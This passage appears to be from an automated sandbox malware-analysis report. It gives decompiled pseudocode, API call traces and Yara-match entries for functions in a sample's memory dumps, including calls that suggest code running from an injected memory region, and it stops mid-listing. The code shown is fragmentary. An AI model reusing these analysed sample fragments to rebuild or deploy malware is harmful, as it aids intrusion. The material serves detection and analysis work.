Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: 4a7d5548f4559285db0327837af50ad060ae603765cc1fccea24404bb5a5c7bd
Instruction ID: 0e6ac5117f964b3f740fa52bb36ffba5320a5e02ba9f21daf2be93c15b8e9b4b
Opcode Fuzzy Hash: 4a7d5548f4559285db0327837af50ad060ae603765cc1fccea24404bb5a5c7bd
Instruction Fuzzy Hash: 0AE01A312482219687311AF59C49BFB7B629F11784FD2C4ABF48DD1261E718DC8186DE

Uniqueness

Uniqueness Score: -1.00%

Function 02348DDF, Relevance: 2.6, APIs: 2, Instructions: 70memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0235176D: VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 023517A6
Part of subcall function 0235176D: VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,?,?), ref: 023517DC
Part of subcall function 0235176D: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 023517E8
Part of subcall function 0235176D: lstrcmpi.KERNEL32(?,00000000), ref: 02351825
Part of subcall function 0235176D: StrChrA.SHLWAPI(?,0000002E), ref: 0235182E
Part of subcall function 0235176D: lstrcmpi.KERNEL32(?,00000000), ref: 02351840
Part of subcall function 0235176D: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02351891

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,?,02363648,0000002C,02349E7D,NTDLL.DLL,6547775A,?,02341E6C), ref: 02348E1E

Part of subcall function 0234C088: GetProcAddress.KERNEL32(6F57775A,00000000,?,?,?,0235CD88,00000000,00000000,00000028,00000100,00000200,?,00000000,00000000), ref: 0234C0B1
Part of subcall function 0234C088: NtWow64ReadVirtualMemory64.NTDLL(00000000,?,?,?,00000200,00000000,00000000,00000000,?,?,?,0235CD88,00000000,00000000,00000028,00000100), ref: 0234C0D3

VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,?,02363648,0000002C,02349E7D,NTDLL.DLL,6547775A,?,02341E6C), ref: 02348EA9

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Virtual$AllocFree$lstrcmpi$AddressMemory64ProcReadWow64
String ID:
API String ID: 4138075514-0
Opcode ID: 668966ebca3f064a2c38c6de14a5eebbee2a20e23640ead62a7dbddf372332a2
Instruction ID: cf256bbd91aaa8eb0b7da6c517be2bd83db38f84976c7041ed69c023cd659ce3
Opcode Fuzzy Hash: 668966ebca3f064a2c38c6de14a5eebbee2a20e23640ead62a7dbddf372332a2
Instruction Fuzzy Hash: DC21C471D01229ABCF219FA5DC84ADEBBB9BF08B14F14816AF914B6250C7345A51CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00381524, Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00381524(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E003813D8(0x3db5ec, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x00381527
0x00381531
0x00381540
0x00381533
0x00381533
0x00381533
0x00381546
0x00381553
0x00381558
0x0038155a
0x0038155e
0x00381567
0x0038156e
0x0038157a
0x00381581
0x00000000
0x00381581
0x0038156e
0x00381586

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,0038182D), ref: 00381553
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,0038182D), ref: 0038157A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 864489428f339c098666fbdb0e0fb7892a9415be5ec3a64515b1c6f2759538d7
Instruction ID: 5e1cbf989500c375a66fb17f8676831b3a0938bdd719c15641c31e9eb6468f69
Opcode Fuzzy Hash: 864489428f339c098666fbdb0e0fb7892a9415be5ec3a64515b1c6f2759538d7
Instruction Fuzzy Hash: FFF082B7A0072057DB63766A5C81B93568D9B8AB90F1941F1F90DEF3C9D6E18C0243A1

Uniqueness

Uniqueness Score: -1.00%

Function 0234B8F6, Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(41564441,00000000,?,00000000,023513D7,?,?,00000000,?,00000001,?,00000000,?,?,?), ref: 0234B90B

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2ba07161f68fd636b55f95bc43c4a98d42977ee0323414c548b76d91a7b485d8
Instruction ID: cda56ca47800edac560fdf9b4d7a89021c8d0b869b9ac97bb87734dad8e74810
Opcode Fuzzy Hash: 2ba07161f68fd636b55f95bc43c4a98d42977ee0323414c548b76d91a7b485d8
Instruction Fuzzy Hash: 8C216DB6E40114ABCB20EF98C885AAEF7FEFB48358F548495D645A7209DA30E9428F50

Uniqueness

Uniqueness Score: -1.00%

Function 00478954, Relevance: 1.6, APIs: 1, Instructions: 79
comCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00478954(void* __ebx, void* __ecx, void* __edi, signed int _a4) {
				signed int _v8;
				signed int _t20;
				intOrPtr _t21;
				signed int _t23;
				intOrPtr* _t25;
				signed int _t26;
				intOrPtr* _t27;
				signed int _t29;
				intOrPtr* _t30;
				intOrPtr* _t32;
				intOrPtr* _t36;
				intOrPtr* _t41;
				intOrPtr _t44;
				intOrPtr _t46;
				intOrPtr* _t50;
				intOrPtr* _t52;

				_t52 = E004716F8(0xc);
				if(_t52 == 0) {
					_t20 = 8;
				} else {
					_t21 =  *0x47d27c; // 0x374a7d0
					_t1 = _t21 + 0x47e058; // 0x3bc8828
					_t2 = _t21 + 0x47e028; // 0x2df01
					_t23 =  *0x47d15c(_t2, 0, 4, _t1, _t52); // executed
					_v8 = _t23;
					if(_t23 < 0) {
						L8:
						E004770FF(_t52);
						_t20 = _v8;
					} else {
						_t44 =  *0x47d27c; // 0x374a7d0
						_t25 =  *_t52;
						_t4 = _t52 + 4; // 0x4
						_t36 = _t4;
						_t5 = _t44 + 0x47e048; // 0xd30c1661
						_t26 =  *((intOrPtr*)( *_t25))(_t25, _t5, _t36, __edi, __ebx);
						_v8 = _t26;
						_t27 =  *_t52;
						_t41 =  *_t27;
						if(_t26 < 0) {
							L6:
							 *((intOrPtr*)(_t41 + 8))(_t27);
						} else {
							_t46 =  *0x47d27c; // 0x374a7d0
							_t7 = _t52 + 8; // 0x8
							_t50 = _t7;
							_t8 = _t46 + 0x47e068; // 0x2df05
							_t29 =  *_t41(_t27, _t8, _t50);
							_v8 = _t29;
							if(_t29 < 0) {
								_t30 =  *_t36;
								 *((intOrPtr*)( *_t30 + 8))(_t30);
								_t27 =  *_t52;
								_t41 =  *_t27;
								goto L6;
							} else {
								_t32 =  *_t50;
								 *((intOrPtr*)( *_t32 + 0xa4))(_t32, 0);
								_a4 = _a4 & 0x00000000;
								 *_a4 = _t52;
							}
						}
						if(_v8 >= 0) {
							_t20 = _a4;
						} else {
							goto L8;
						}
					}
				}
				return _t20;
			}

0x00478960
0x00478964
0x00478a0c
0x0047896a
0x0047896a
0x00478970
0x0047897b
0x00478982
0x0047898a
0x0047898d
0x004789ff
0x00478a00
0x00478a05
0x0047898f
0x0047898f
0x00478995
0x0047899b
0x0047899b
0x0047899f
0x004789a7
0x004789a9
0x004789ae
0x004789b0
0x004789b2
0x004789f3
0x004789f4
0x004789b4
0x004789b4
0x004789ba
0x004789ba
0x004789be
0x004789c6
0x004789ca
0x004789cd
0x004789e7
0x004789ec
0x004789ef
0x004789f1
0x00000000
0x004789cf
0x004789cf
0x004789d6
0x004789df
0x004789e3
0x004789e3
0x004789cd
0x004789fd
0x00478a0f
0x00000000
0x00000000
0x00000000
0x004789fd
0x0047898d
0x00478a14

APIs

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

CoCreateInstance.OLE32(0002DF01,00000000,00000004,03BC8828,00000000), ref: 00478982

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateCreateHeapInstance
String ID:
API String ID: 2928441540-0
Opcode ID: cd1731b48b9144fa7f0e794ec3745ec14a2be75f2b9606c3afce89eb386422de
Instruction ID: 518d5b0efcfa5dc081797a616744e4a7653bebf43715048a8082483da72448bf
Opcode Fuzzy Hash: cd1731b48b9144fa7f0e794ec3745ec14a2be75f2b9606c3afce89eb386422de
Instruction Fuzzy Hash: 8E216BB5600244EFD710CF69C888F9A73B8EF49714F108599F609DF251DB74E941CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0047181F, Relevance: 1.6, APIs: 1, Instructions: 75
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0047181F(signed int __eax, void* __ecx, intOrPtr* _a4, void** _a8, intOrPtr* _a12) {
				signed int _v5;
				signed int _v12;
				void* _t32;
				signed int _t37;
				signed int _t39;
				signed char _t45;
				void* _t49;
				char* _t51;
				signed int _t65;
				signed int _t66;
				signed int _t69;

				_v12 = _v12 & 0x00000000;
				_t69 = __eax;
				_t32 = RtlAllocateHeap( *0x47d238, 0, __eax << 2); // executed
				_t49 = _t32;
				if(_t49 == 0) {
					_v12 = 8;
				} else {
					 *_a8 = _t49;
					do {
						_t45 =  *_a4;
						asm("cdq");
						_t65 = 0x64;
						_t37 = (_t45 & 0x000000ff) / _t65;
						_v5 = _t37;
						if(_t37 != 0) {
							 *_t49 = _t37 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t37 * 0x9c;
						}
						asm("cdq");
						_t66 = 0xa;
						_t39 = (_t45 & 0x000000ff) / _t66;
						if(_t39 != 0 || _v5 != _t39) {
							 *_t49 = _t39 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t39 * 0xf6;
						}
						_a4 = _a4 + 1;
						 *_t49 = _t45 + 0x30;
						 *(_t49 + 1) = 0x2c;
						_t49 = _t49 + 2;
						_t69 = _t69 - 1;
					} while (_t69 != 0);
					_t51 = _t49 - 1;
					 *_a12 = _t51 -  *_a8;
					 *_t51 = 0;
				}
				return _v12;
			}

0x00471824
0x00471829
0x00471837
0x0047183d
0x00471841
0x004718b2
0x00471843
0x00471847
0x0047184a
0x0047184d
0x00471854
0x00471855
0x00471856
0x0047185a
0x0047185d
0x00471864
0x0047186a
0x0047186b
0x0047186b
0x00471872
0x00471873
0x00471874
0x00471878
0x00471884
0x0047188a
0x0047188b
0x0047188b
0x0047188d
0x00471893
0x00471895
0x0047189a
0x0047189b
0x0047189b
0x004718a1
0x004718aa
0x004718ac
0x004718af
0x004718be

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 00471837

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a1d5a760ec69dee046321a33b4c0884698d82928d09c4c88267e03b1bf540185
Instruction ID: 7ef6709c875850d8d60373eba25cd3df71deba89f1680b152b620276f5c5fb9c
Opcode Fuzzy Hash: a1d5a760ec69dee046321a33b4c0884698d82928d09c4c88267e03b1bf540185
Instruction Fuzzy Hash: 2711E4316452409FEB158F2DC851BE97BA9DB23358F14818BE4448B3A2C27B890BC765

Uniqueness

Uniqueness Score: -1.00%

Function 0234D232, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(-00000002,?,?,00000000,?,?,023456BC,00000000,00000000), ref: 0234D26D

Part of subcall function 0235B534: NtQueryInformationProcess.NTDLL(00000000,?,00000018,00000000,02367380), ref: 0235B54B

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HandleInformationModuleProcessQuery
String ID:
API String ID: 2776635927-0
Opcode ID: f8c44b0d7fa2c834e867063ad8e418b45b89d78a88192cc56f2ecdb353c5ccea
Instruction ID: ef145c433201c90e9cbbde8e4505b87df7307e90e80b9fbb3c66566dde29d486
Opcode Fuzzy Hash: f8c44b0d7fa2c834e867063ad8e418b45b89d78a88192cc56f2ecdb353c5ccea
Instruction Fuzzy Hash: BA21AF72620609AFDB20DF99C880D6AB7E9EF457A4B1448A9ED49CB250DF31FD00DF20

Uniqueness

Uniqueness Score: -1.00%

Function 0234509B, Relevance: 1.6, APIs: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 023450ED

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 46b2ecc42d976203d967543140bb26c6e4d3569956f7cffbc4f581bd6eb45cdc
Instruction ID: 760aed6985ba66ec42510a03dd3c29d016953b4a85fc9f9a8259430be21578f2
Opcode Fuzzy Hash: 46b2ecc42d976203d967543140bb26c6e4d3569956f7cffbc4f581bd6eb45cdc
Instruction Fuzzy Hash: C4114036600209AFDF118F9ADC409DABBAAFF58374B458125FE2C92120CB35E921DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00477082, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00477082(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x47d27c; // 0x374a7d0
				_t4 = _t15 + 0x47e39c; // 0x3bc8b6c
				_t20 = _t4;
				_t6 = _t15 + 0x47e124; // 0x650047
				_t17 = E00472681(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E00471788(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x0047708c
0x0047708e
0x00477095
0x00477096
0x00477097
0x00477098
0x0047709e
0x004770a3
0x004770a3
0x004770ad
0x004770bf
0x004770c6
0x004770f5
0x004770c8
0x004770cd
0x004770f2
0x004770cf
0x004770d2
0x004770d9
0x004770e4
0x004770db
0x004770de
0x004770de
0x004770e8
0x004770e8
0x004770cd
0x004770fc

APIs

Part of subcall function 00472681: SysFreeString.OLEAUT32(?), ref: 00472760

Part of subcall function 00471788: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,00474464,004F0053,00000000,?), ref: 00471791
Part of subcall function 00471788: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,00474464,004F0053,00000000,?), ref: 004717BB
Part of subcall function 00471788: memset.NTDLL ref: 004717CF

SysFreeString.OLEAUT32(00000000), ref: 004770E8

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 1ac647ce45605f91b7b0caff4958c829ec270d826b8b374f182b3d31a272b719
Instruction ID: ffa8f33e682aa40364877cd016452a441ba182bb3fd42d641cbe24a4eab33e4c
Opcode Fuzzy Hash: 1ac647ce45605f91b7b0caff4958c829ec270d826b8b374f182b3d31a272b719
Instruction Fuzzy Hash: 1001B131504059BFDB10AFA8CC05DEEBBB8FB08714F80C56AF909E6121D3B09951C79A

Uniqueness

Uniqueness Score: -1.00%

Function 00386AF6, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00386AF6(long __eax, CHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32, long _a36) {
				CHAR* _v8;
				void* _t13;
				struct HWND__* _t24;
				CHAR* _t31;
				long _t38;

				_push(_t31);
				_v8 = _t31;
				_t38 = __eax;
				_t13 = E00382924();
				_t24 = CreateWindowExA(_t38, __edx, _v8, _a36, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
				E00382914(_t13);
				return _t24;
			}

0x00386afb
0x00386aff
0x00386b04
0x00386b06
0x00386b37
0x00386b40
0x00386b4c

APIs

CreateWindowExA.USER32 ref: 00386B37

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 9c567021c64e777ef902bca09b84a3c738e36ae41a961d365e63935a0d3624dd
Instruction ID: 6d3504bebdb3896a76189143d4d79f2564db4d7bd025326537e362e2c3e4e2b5
Opcode Fuzzy Hash: 9c567021c64e777ef902bca09b84a3c738e36ae41a961d365e63935a0d3624dd
Instruction Fuzzy Hash: 4CF07FB2700258BF9B84EE9DDC81EAB77ECEB4C260B054165FA08D7201D634ED108BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00386AF8, Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00386AF8(long __eax, CHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32, long _a36) {
				CHAR* _v8;
				void* _t13;
				struct HWND__* _t24;
				CHAR* _t29;
				long _t32;

				_v8 = _t29;
				_t32 = __eax;
				_t13 = E00382924();
				_t24 = CreateWindowExA(_t32, __edx, _v8, _a36, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
				E00382914(_t13);
				return _t24;
			}

0x00386aff
0x00386b04
0x00386b06
0x00386b37
0x00386b40
0x00386b4c

APIs

CreateWindowExA.USER32 ref: 00386B37

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f20ee51a67009ccac0f6c633a6abbc41fc12d779ce0cfd420d925ad1444e3134
Instruction ID: 84477579566764b3a3f20d5dc2fc489b5fe31d7d014cb1cb453e0dfedaa47c1b
Opcode Fuzzy Hash: f20ee51a67009ccac0f6c633a6abbc41fc12d779ce0cfd420d925ad1444e3134
Instruction Fuzzy Hash: 27F09DB2600258BF8B84EE9DDC81EDB77ECEB4C2A0B054165FA0CD7201D634ED108BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00385C40, Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00385C40(intOrPtr* __eax, void* __edx) {
				char _v1032;
				int _t13;
				void* _t22;

				_t21 = __edx;
				_t16 = __eax;
				if(__eax != 0) {
					if( *((intOrPtr*)(__eax + 4)) >= 0x10000) {
						_t4 = _t16 + 4; // 0xff82
						return E003840B4(__edx,  *_t4);
					}
					_t3 = _t16 + 4; // 0xff82
					_t13 = LoadStringA(E003851AC( *((intOrPtr*)( *__eax))),  *_t3,  &_v1032, 0x400); // executed
					return E00383FAC(_t21, _t13, _t22);
				}
				return __eax;
			}

0x00385c48
0x00385c4a
0x00385c4e
0x00385c57
0x00385c85
0x00000000
0x00385c88
0x00385c63
0x00385c71
0x00000000
0x00385c7c
0x00385c95

APIs

LoadStringA.USER32 ref: 00385C71

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 7a97aa46e62f8f9daacc47479a8d109c484dbfbe251f89ce7ed37120a4cc4063
Instruction ID: 31c1c397faa8dccb8ef486dfd51704d60b354bca55be7599f34b1df279c3765d
Opcode Fuzzy Hash: 7a97aa46e62f8f9daacc47479a8d109c484dbfbe251f89ce7ed37120a4cc4063
Instruction Fuzzy Hash: 36F01C61700B109FDB02FA9CC881A5673E85B48704F1480E1B608CF355EB60DD054B96

Uniqueness

Uniqueness Score: -1.00%

Function 00385164, Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00385164(void* __eax) {
				char _v272;
				intOrPtr _t14;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;

				_t16 = __eax;
				if( *((intOrPtr*)(__eax + 0x10)) == 0) {
					_t3 = _t16 + 4; // 0x380000
					GetModuleFileNameA( *_t3,  &_v272, 0x105);
					_t14 = E003853A0(_t19); // executed
					_t18 = _t14;
					 *((intOrPtr*)(_t16 + 0x10)) = _t18;
					if(_t18 == 0) {
						_t5 = _t16 + 4; // 0x380000
						 *((intOrPtr*)(_t16 + 0x10)) =  *_t5;
					}
				}
				_t7 = _t16 + 0x10; // 0x380000
				return  *_t7;
			}

0x0038516c
0x00385172
0x0038517e
0x00385182
0x0038518b
0x00385190
0x00385192
0x00385197
0x00385199
0x0038519c
0x0038519c
0x00385197
0x0038519f
0x003851aa

APIs

GetModuleFileNameA.KERNEL32(00380000,?,00000105,108B003D,00000000,003851CC,00396CBC,?,00000000,00396CE2,?,?,00000000,?,00396D5B), ref: 00385182

Part of subcall function 003853A0: GetModuleFileNameA.KERNEL32(00000000,?,00000105,108B003D,003D90A4), ref: 003853BC
Part of subcall function 003853A0: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B003D,003D90A4), ref: 003853DA
Part of subcall function 003853A0: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B003D,003D90A4), ref: 003853F8
Part of subcall function 003853A0: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00385416
Part of subcall function 003853A0: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,003854A5,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 0038545F
Part of subcall function 003853A0: RegQueryValueExA.ADVAPI32(?,0038560C,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,003854A5,?,80000001), ref: 0038547D
Part of subcall function 003853A0: RegCloseKey.ADVAPI32(?,003854AC,00000000,?,?,00000000,003854A5,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0038549F

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 8abade0a205afe40d305199545af779400a8da54067773607564bef808fc0a71
Instruction ID: 6e7526a5635e6a4e79ea4ebd7617c533e0a02c98397a5b172b49ee36357ed807
Opcode Fuzzy Hash: 8abade0a205afe40d305199545af779400a8da54067773607564bef808fc0a71
Instruction Fuzzy Hash: F3E06571A107109BCB12EEA8C8C5B8633D8AB08750F4009A1AC59CF28AD3B0DD208BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00387D5C, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00387D5C(void* __eax, void* __edx) {
				int _t3;
				char* _t5;
				int _t7;
				int _t10;
				void* _t12;

				_t12 = __eax;
				_t3 = E0038417C(__edx);
				_t5 = E0038437C(__edx);
				_t7 = E0038417C(_t12);
				_t10 = CompareStringA(0x400, 1, E0038437C(_t12), _t7, _t5, _t3); // executed
				return _t10 - 2;
			}

0x00387d60
0x00387d64
0x00387d6c
0x00387d74
0x00387d89
0x00387d93

APIs

CompareStringA.KERNEL32(00000400,00000001,00000000,00000000,00000000,00000000,?,?,00387DA3,?,?,003882B5), ref: 00387D89

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: c916ba35572aa2f761c743289134b53ab6488a8a3d5663687869eb4633d8e907
Instruction ID: f7b2fbfe7ecd52479e3c9249b51492b801c610bd68a68e61008bc5821ddf5d8c
Opcode Fuzzy Hash: c916ba35572aa2f761c743289134b53ab6488a8a3d5663687869eb4633d8e907
Instruction Fuzzy Hash: D7D092953007222AD253B6BC0E87F5B088C4B0D611B0040B1B308EAA47DA948D5103A5

Uniqueness

Uniqueness Score: -1.00%

Function 0039EC10, Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0039EC10(short __ecx, void* __edx) {
				void* _t3;
				void* _t5;
				short _t9;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t13;

				_t10 = __edx;
				_t9 = __ecx;
				if(__edx != 0) {
					_t13 = _t13 + 0xfffffff0;
					_t3 = E00383408(_t3, _t12);
				}
				_t11 = _t3;
				 *((short*)(_t11 + 0x20)) = _t9;
				_push(_t11 + 8); // executed
				L003862B4(); // executed
				_t5 = _t11;
				if(_t10 != 0) {
					E00383460(_t5);
					_pop( *[fs:0x0]);
				}
				return _t11;
			}

0x0039ec10
0x0039ec10
0x0039ec14
0x0039ec16
0x0039ec19
0x0039ec19
0x0039ec20
0x0039ec22
0x0039ec29
0x0039ec2a
0x0039ec2f
0x0039ec33
0x0039ec35
